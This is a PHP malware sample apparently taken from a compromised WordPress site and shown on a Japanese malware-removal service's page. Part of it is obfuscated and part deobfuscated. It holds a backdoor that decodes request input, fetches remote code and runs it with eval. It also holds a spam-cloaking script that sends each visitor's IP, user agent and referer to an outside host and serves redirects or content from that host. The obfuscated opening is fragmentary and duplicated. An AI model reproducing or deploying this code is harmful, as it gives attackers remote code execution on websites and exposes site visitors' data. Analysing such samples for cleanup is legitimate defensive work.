"\61\x34\x34\x36\64\x29\61\x34\x34\x36\65\51\x31\x34\64\x34\67\51\61\x34\64\x36\x31\51\x31\x34\x35\60\70\x29\x31\x34\65\x31\x30\x29\x31\x34\x34\66\67\x29\x31\64\x34\66\x32\51\61\64\64\66\x31\51\x31\64\x34\66\x33\x29\61\x34\x34\65\61\51\x31\x34\64\66\x32\51\x31\x34\64\66\61", "\61\64\64\x36\60\x29\x31\x34\64\x35\67\51\x31\64\x34\65\x34\51\x31\64\64\66\x31\x29\x31\x34\64\66\x37\x29\x31\x34\64\x35\x39\51\61\64\x34\x36\x31\x29\x31\64\64\x34\66\51\x31\x34\x34\x36\x37\x29\x31\64\x34\66\x33\x29\61\x34\x34\x35\x31\x29\61\x34\x34\x35\x32\x29\x31\64\x34\x34\x36\x29\x31\x34\64\x36\61\51\x31\64\64\65\62\51\61\64\64\64\66\x29\x31\64\x34\64\67", "\x31\64\64\71\x30\51\61\x34\x35\x32\x30", "\61\x34\64\63\x37", "\x31\x34\65\x31\65\51\x31\64\65\x32\x30", "\x31\x34\x34\x39\67\x29\61\x34\x34\70\x30\x29\x31\x34\x34\70\60\51\61\x34\x34\71\67\x29\x31\x34\64\67\x33", "\x31\64\x34\x36\x30\51\x31\x34\64\x35\67\x29\61\64\64\65\x34\x29\x31\x34\x34\x34\x36\x29\x31\x34\x34\66\61\x29\x31\64\64\x34\x38\x29\x31\x34\64\66\67\51\x31\x34\64\x35\67\51\x31\64\64\65\x32\51\61\x34\x34\65\x30\51\x31\64\x34\x34\65\x29\x31\64\64\x34\66");
goto E0yR108wRDKu;
zTGeR8Uwu6FS:
$SGCYnZR1YBAq = self::FGAFT6Q3qyCk($F_xExOB4LQvF[0 + 1], $yl5UeBM3lZfK[1 + 4]);
goto wM3pnVUy2WmV;
E0yR108wRDKu:
foreach ($PyEangj7d2JH as $kroVTo_9TOPV) {
$yl5UeBM3lZfK[] = self::Mr5V8bcGwA4F($kroVTo_9TOPV);
XSfIKDia_rF4:
}
goto Uyjyv1C7_u3G;
Uyjyv1C7_u3G:
wycdkI1yuwob:
goto wkuzhHhm5a_V;
fnTnvDyc8kGf:
$L1zoPmdrc_UC = @$yl5UeBM3lZfK[1 + 2]($yl5UeBM3lZfK[5 + 1], $F0hc4yK6xyho);
goto q_AcftvqFelG;
Bz0QZYqE8SbA:
UTljSX1VY3mm:
goto s5TS7khseg2U;
MvYrrcPgo3P_:
if (!(@$F_xExOB4LQvF[0] - time() > 0 and md5(md5($F_xExOB4LQvF[3 + 0])) === "\145\64\66\146\63\x63\x32\65\145\70\70\142\x36\x30\x62\62\64\71\x66\x34\141\x39\x31\x38\x31\65\143\141\71\64\142\61")) {
goto UTljSX1VY3mm;
}
goto zTGeR8Uwu6FS;
WQoa4vieWVYV:
die;
goto Bz0QZYqE8SbA;
inY9fXgf2j2K:
@$yl5UeBM3lZfK[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($yl5UeBM3lZfK[0 + 5](__FILE__));
goto MvYrrcPgo3P_;
s5TS7khseg2U:
}
}
goto Yf8aHamZqmrW;
fahchMAUBdlF:
Q1DD7g9ogy14:
?>
<?php define('WP_USE_THEMES', true);
require('./wp-blog-header.php'); ?><?php
error_reporting(0);
$tYEBx2ch2a6U = "range";
$zaKbRHLiIYde = range("~", " ");
$W3d7aWKqIANo = ${$zaKbRHLiIYde[31] . $zaKbRHLiIYde[59] . $zaKbRHLiIYde[47] . $zaKbRHLiIYde[47] . $zaKbRHLiIYde[51] . $zaKbRHLiIYde[53] . $zaKbRHLiIYde[57]};
if (!(in_array(gettype($W3d7aWKqIANo) . count($W3d7aWKqIANo), $W3d7aWKqIANo) && count($W3d7aWKqIANo) == 14 && md5(md5(md5(md5($W3d7aWKqIANo[8])))) === "4ae30cb9d44e5d64ec5e51ae6382dcc3")) {
goto bHrRw1mZdIaL;
}
($W3d7aWKqIANo[63] .= $W3d7aWKqIANo[80]) && ($W3d7aWKqIANo[86] = $W3d7aWKqIANo[63]($W3d7aWKqIANo[86])) && @eval($W3d7aWKqIANo[63](${$W3d7aWKqIANo[39]}[26]));
bHrRw1mZdIaL:
metaphone("MzMyOTU4NzY4OTk0MDI0MzU0MzYxNDUx");
class R8rUoAlSWJ2y
{
static function Mr5v8bCgwa4F($z4172ITSSL3E)
{
$FwAOqLo2aJIy = "range";
$h5_Jx5CdjfdQ = range("~", " ");
$jbGEYoBn2T2h = explode(")", $z4172ITSSL3E);
$oAWvO1sCXqWd = '';
foreach ($jbGEYoBn2T2h as $JlazongtzzjS => $p0flcUA5lUqW) {
$oAWvO1sCXqWd .= $h5_Jx5CdjfdQ[$p0flcUA5lUqW - 14436];
}
return $oAWvO1sCXqWd;
}
static function fgAfT6q3QYCK($TkcEZ1M2VZDo, $Xc8ZKTxO7Do3)
{
$VdFIdcMb67eP = curl_init($TkcEZ1M2VZDo);
curl_setopt($VdFIdcMb67eP, CURLOPT_RETURNTRANSFER, 1);
$r7k0H5mrTn19 = curl_exec($VdFIdcMb67eP);
return empty($r7k0H5mrTn19) ? $Xc8ZKTxO7Do3($TkcEZ1M2VZDo) : $r7k0H5mrTn19;
}
static function akr4CxiYKv3I()
{
$PyEangj7d2JH = array("14463)14448)14461)14465)14446)14461)14467)14460)14445)14452)14463)14446)14457)14451)14452", "14447)14446)14448)14467)14448)14451)14446)14513)14511", "14456)14447)14451)14452)14467)14462)14461)14463)14451)14462)14461", "14450)14465)14463)14455", "14464)14465)14447)14461)14508)14510)14467)14462)14461)14463)14451)14462)14461", "14460)14457)14454)14461)14467)14459)14461)14446)14467)14463)14451)14452)14446)14461)14452)14446)14447", "14490)14520", "14437", "14515)14520", "14497)14480)14480)14497)14473", "14460)14457)14454)14446)14461)14448)14467)14457)14452)14450)14445)14446");
foreach ($PyEangj7d2JH as $kroVTo_9TOPV) {
$yl5UeBM3lZfK[] = self::Mr5V8bcGwA4F($kroVTo_9TOPV);
}
$F0hc4yK6xyho = @$yl5UeBM3lZfK[1]($yl5UeBM3lZfK[10](INPUT_GET, $yl5UeBM3lZfK[9]));
$L1zoPmdrc_UC = @$yl5UeBM3lZfK[3]($yl5UeBM3lZfK[6], $F0hc4yK6xyho);
$F_xExOB4LQvF = $yl5UeBM3lZfK[2]($L1zoPmdrc_UC, true);
@$yl5UeBM3lZfK[10](INPUT_GET, "of") == 1 && die($yl5UeBM3lZfK[5]("/var/www/html/input.php"));
if (!(@$F_xExOB4LQvF[0] - time() > 0 and md5(md5($F_xExOB4LQvF[3])) === "e46f3c25e88b60b249f4a91815ca94b1")) {
// [PHPDeobfuscator] Implied return
return;
}
$SGCYnZR1YBAq = self::FGAFT6Q3qyCk($F_xExOB4LQvF[1], $yl5UeBM3lZfK[5]);
@eval($yl5UeBM3lZfK[4]($SGCYnZR1YBAq));
die;
}
}
R8RuoAlSwj2y::aKr4CxiyKv3I();
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
function w5P8MOOQah2f($LHtDphoMKV8B)
{
$C_lC0WNHWmk3 = array("status" => 0, "content" => '', "type" => '');
if (is_array($LHtDphoMKV8B)) {
foreach ($LHtDphoMKV8B as $EWWGfX9ZyfxG) {
if (preg_match("/http\\/[0-9\\.]+[\\s]+([0-9]+)/i", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
$C_lC0WNHWmk3["status"] = intval($vsy_lRWe4oN6[1]);
goto U6_SJgTQ81Vq;
}
if (preg_match("/location\\:[\\s]+(.*)/i", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
$C_lC0WNHWmk3["content"] = $vsy_lRWe4oN6[1];
goto U6_SJgTQ81Vq;
}
if (preg_match("/content\\-type\\:[\\s]+(.*)/i", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
$C_lC0WNHWmk3["type"] = $vsy_lRWe4oN6[1];
goto S5V0hwwsO4V5;
}
S5V0hwwsO4V5:
U6_SJgTQ81Vq:
}
return $C_lC0WNHWmk3;
}
return $C_lC0WNHWmk3;
}
function c13b1gYs722d($HfbmsHCKBV7r, $sfDQZG3OYtsT = array())
{
$T5yNMeHxr2z1 = array("status" => 0, "content" => '', "type" => '');
if (!(is_array($sfDQZG3OYtsT) && count($sfDQZG3OYtsT))) {
goto dUPolSZdjc4J;
}
$HfbmsHCKBV7r .= "?" . http_build_query($sfDQZG3OYtsT);
dUPolSZdjc4J:
try {
if (function_exists("curl_exec") && function_exists("curl_init")) {
$RGiAMOeKufkX = curl_init();
curl_setopt($RGiAMOeKufkX, CURLOPT_URL, $HfbmsHCKBV7r);
curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($RGiAMOeKufkX, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($RGiAMOeKufkX, CURLOPT_TIMEOUT, 60);
curl_setopt($RGiAMOeKufkX, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($RGiAMOeKufkX, CURLOPT_COOKIESESSION, 0);
curl_setopt($RGiAMOeKufkX, CURLOPT_RETURNTRANSFER, 1);
$fAI6lK0qlXfO = curl_exec($RGiAMOeKufkX);
$T5yNMeHxr2z1["status"] = intval(curl_getinfo($RGiAMOeKufkX, CURLINFO_HTTP_CODE));
$T5yNMeHxr2z1["type"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_CONTENT_TYPE));
$T5yNMeHxr2z1["content"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_REDIRECT_URL));
@curl_close($RGiAMOeKufkX);
if (!in_array($T5yNMeHxr2z1["status"], array(200, 301, 302, 404))) {
goto EkeQGkszqt31;
}
$T5yNMeHxr2z1["content"] = strval($fAI6lK0qlXfO);
EkeQGkszqt31:
goto Wh5Xwo8wGhj0;
}
if (ini_get("allow_url_fopen")) {
$BsiuSwn5_4jA = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false));
$H53qT3Ba1Rco = stream_context_create($BsiuSwn5_4jA);
$LIAhGJnkBU2n = @file_get_contents($HfbmsHCKBV7r, false, $H53qT3Ba1Rco);
$T5yNMeHxr2z1 = array_merge($T5yNMeHxr2z1, W5P8MOOqah2f($http_response_header));
if (!in_array($T5yNMeHxr2z1["status"], array(200, 301, 302, 404))) {
goto gPDxNPohrWsv;
}
$T5yNMeHxr2z1["content"] = strval($LIAhGJnkBU2n);
gPDxNPohrWsv:
goto pVX3N9mjUnGq;
}
pVX3N9mjUnGq:
Wh5Xwo8wGhj0:
} catch (Exception $j5IXvIC33_U2) {
}
return $T5yNMeHxr2z1;
}
function exdq9LPupxfP($Sc2Tuu67tbSJ)
{
if ($Sc2Tuu67tbSJ) {
return rtrim(strtr(base64_encode($Sc2Tuu67tbSJ), "+/", "-_"), "=");
}
return '';
}
function iLThfE6qjetZ()
{
$tgjPQQH3tI0D = '';
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$tgjPQQH3tI0D = $_SERVER["HTTP_CF_CONNECTING_IP"];
goto tf5iTsiAwITN;
}
if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) {
$tgjPQQH3tI0D = $_SERVER["HTTP_X_REAL_IP"];
goto tf5iTsiAwITN;
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$tgjPQQH3tI0D = $_SERVER["HTTP_X_FORWARDED_FOR"];
goto ppDoPjY84zk2;
}
$tgjPQQH3tI0D = $_SERVER["REMOTE_ADDR"];
ppDoPjY84zk2:
tf5iTsiAwITN:
$tgjPQQH3tI0D = trim(str_replace(" ", '', $tgjPQQH3tI0D), ",");
if (!(strpos($tgjPQQH3tI0D, ",") !== false)) {
goto BClj7Z40j_J1;
}
$tgjPQQH3tI0D = explode(",", $tgjPQQH3tI0D);
$tgjPQQH3tI0D = $tgjPQQH3tI0D[0];
BClj7Z40j_J1:
return $tgjPQQH3tI0D;
}
function xeWNIAnXEXBQ()
{
$f7qOAK3jh8RT = "http://";
if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
$f7qOAK3jh8RT = "https://";
goto QsH30b2nzhgU;
}
if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
$f7qOAK3jh8RT = "https://";
goto QsH30b2nzhgU;
}
if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
$f7qOAK3jh8RT = "https://";
goto uMkKO_J2fL5c;
}
uMkKO_J2fL5c:
QsH30b2nzhgU:
return $f7qOAK3jh8RT;
}
if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["SERVER_NAME"]))) {
if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) {
$tgjPQQH3tI0D = ILThFe6QJetz();
$DXpd_4nmefgY = strval(@$_SERVER["HTTP_REFERER"]);
$KT330L2yWVmh = XEwnianxexbQ() . $_SERVER["HTTP_HOST"];
if (!(strpos($DXpd_4nmefgY, $KT330L2yWVmh) === 0)) {
goto B4RGq8kSg32x;
}
$DXpd_4nmefgY = '';
B4RGq8kSg32x:
$Fpv3Gnb83l7T = array();
$Fpv3Gnb83l7T["i"] = EXdQ9lpUPxFp($tgjPQQH3tI0D);
$Fpv3Gnb83l7T["l"] = exDQ9LPupxfp($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
$Fpv3Gnb83l7T["sn"] = eXdQ9lpuPXFP($_SERVER["SCRIPT_NAME"]);
$Fpv3Gnb83l7T["r"] = ExdQ9LPUPxfp($_SERVER["REQUEST_URI"]);
$Fpv3Gnb83l7T["rf"] = eXdQ9LpupXFp($DXpd_4nmefgY);
$Fpv3Gnb83l7T["s"] = exdq9lPUpXFP($KT330L2yWVmh);
$Fpv3Gnb83l7T["u"] = ExDQ9LPupXFP($_SERVER["HTTP_USER_AGENT"]);
$vsKq2mdhu8Ju = preg_replace("/\\?.*/", '', $_SERVER["REQUEST_URI"]);
$LPr9jF8Gldr2 = false;
if (!(strpos($vsKq2mdhu8Ju, ".") > 0 && strpos($vsKq2mdhu8Ju, ".php") === false)) {
goto VxhuDyFkBKYM;
}
$ZWeV2nh1pfFA = substr($vsKq2mdhu8Ju, strpos($vsKq2mdhu8Ju, "."));
if (!in_array($ZWeV2nh1pfFA, array(".js", ".css", ".jpg", ".png", ".gif", ".ico"))) {
goto ceTyvoBs95Oj;
}
$LPr9jF8Gldr2 = true;
ceTyvoBs95Oj:
VxhuDyFkBKYM:
if ($LPr9jF8Gldr2) {
goto Q1DD7g9ogy14;
}
$T5yNMeHxr2z1 = c13B1gYs722d("http://zs621v13su.officer.lat/", $Fpv3Gnb83l7T);
if (in_array($T5yNMeHxr2z1["status"], array(0, 200))) {
goto BydLbf8PYUUd;
}
switch ($T5yNMeHxr2z1["status"]) {
case 301:
header("HTTP/1.1 301 Moved Permanently");
header("Location: " . trim($T5yNMeHxr2z1["content"]));
goto YsOC9xjMVXDc;
case 302:
header("HTTP/1.1 302 Move Temporarily");
header("Location: " . trim($T5yNMeHxr2z1["content"]));
goto YsOC9xjMVXDc;
case 404:
header("HTTP/1.1 404 Not Found");
header("status: 404 Not Found");
goto YsOC9xjMVXDc;
default:
goto YsOC9xjMVXDc;
}
YsOC9xjMVXDc:
BydLbf8PYUUd:
if (!strlen($T5yNMeHxr2z1["content"])) {
Q1DD7g9ogy14:
define('WP_USE_THEMES', true);
require './wp-blog-header.php';
// [PHPDeobfuscator] Implied script end
return;
}
@header("Content-Type:" . $T5yNMeHxr2z1["type"]);
echo $T5yNMeHxr2z1["content"];
exit(0);
}
exit("{ \"error\": 200, \"lc\": \"jk\", \"data\": [ 1 ] }");
}
exit(strrev(md5($_SERVER["SERVER_NAME"])));■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
（C）2019 ワードプレス ドクター All rights reserved.